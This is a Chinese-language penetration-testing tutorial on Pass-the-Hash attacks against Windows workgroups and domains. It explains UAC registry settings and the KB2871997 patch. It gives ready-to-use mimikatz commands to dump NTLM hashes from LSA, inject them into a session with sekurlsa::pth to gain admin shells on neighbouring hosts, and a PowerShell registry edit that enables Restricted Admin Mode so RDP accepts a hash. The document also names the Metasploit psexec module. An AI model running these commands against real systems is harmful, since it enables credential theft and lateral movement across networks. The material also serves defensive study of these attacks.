PTH 攻击
定义
PTH(Pass The Hash)
当获取到某主机本地管理员组成员账号的口令NTLM后,不需要破解获取口令明文,使用PTH方式将管理员账号及NTLM注入当前到当前会话并作为凭据,利用该凭据可渗透获取周围主机管理权限。适用于工作组环境和域环境。
条件
- 对方主机需存在相同的账号,且是管理员组成员
- 初始机子上需要获取系统权限,才能进行会话注入
UAC
用户帐户控制 (User Account Control) 是 Windows Vista
(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序损坏系统,同时也可以帮助组织部署更易于管理的平台。 使用 UAC
,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC
会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
用户帐户控制(UAC
)是新版 Windows
的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。
在UAC下,一个用户是目标机器上的本地管理员组的成员,当他建立远程管理连接时,他无法获取完全管理员权限,也无法权限提升和执行管理员任务等。要想获取完全管理员权限,只能通过远程助手或远程桌面连入目标机器。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken
在Admin Approval Mode
模式下用户打开cmd会话,会判断权限,如果要打开完全管理员cmd,就要求进行认证和确认。
UAC就是通过上面的注册表键值来判断所获取会话的初始权限,默认设置为 0。如果设置为 1,则即使 SID 为 500 的管理员也不能通过网络登录的方式获取高权限。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
如果在注册表中有这个键值,并且设置为 1,则所有的管理组成员都可以通过网络登录获取高权限。而且会忽视上面的一个表项 FilterAdministratorToken 的值。
利用
在Windows NT 5.x(2003、2005)系统中,管理员组账号的网络登录(例如IPC方式)都获取系统管理权限。
而在Windows NT 6.x系统及更高版本中,管理员组(SID非500)账号网络登录后不能获取系统管理权限,除非是administrator(SID=500)。
工作组环境
- 先用mimikatz获取本地管理员组成员的NTLM,并记录
privilege::debug
lsadump::lsa /patch
- PTH攻击
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:xxx
微软已经针对PTH进行修复过,实际测试中发现,管理员组(SID非500)账号网络登录PTH已经无法成功,而
Administrator
(SID 500) 账号仍然可行。
- 攻击成功后会回弹一个会话,即cmd
域环境
- 获取当前域内用户的NTLM
- PTH攻击:对另外一个域的目标计算机(他所在域用户是他本地管理员组成员,且账号密码相同)执行PTH
sekurlsa::pth /user:eviluser /domain:adsec.com /ntlm:xxx
- 获取完全管理员会话
注意:
工作组环境下,会受上述注册表两值的影响;
而在域环境下不受影响。
MSF 中的 PTH
exploit/windows/smb/psexec
补丁-KB2871997
目的
阻止使用本地账户网络登录和远程交互式登录到一台加入到域内服务器的机器上。
修复结果
安装 KB2871997
补丁后,其他方面并没有太多的变化 。
补丁会给本地账号添加一个 S-1-5-113
的 SID
,为管理员组中的本地账号添加一个 S-1-5-114
的 SID
,这样方便通过域策略进行管理,例如从域策略中全面禁止这类账号的网络登录。
针对RDP的Hash传递攻击
说起 hash 传递攻击(pth),想到一般的都是 psexec wce mimikatz
等直接执行命令。
本节绍了一种利用 mimikatz + NThash
来启动 mstsc.exe
实现远程登陆 Windows 桌面的方法,对不能执行命令又破解不出密码的环境有很大的帮助。
其原理(条件)是远程目标需要使用受限管理模式(Restricted Admin Mode),因为此模式下支持 kerberos 认证,所以能使用 hash 来登陆。
- 受限模式被禁用情况下,使用如下命令开启
# 启动powershell
mimikatz.exe "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe"
# 在powershell中修改注册表
Enter-PSSession -Computer <Target>
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force
- PTH攻击
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"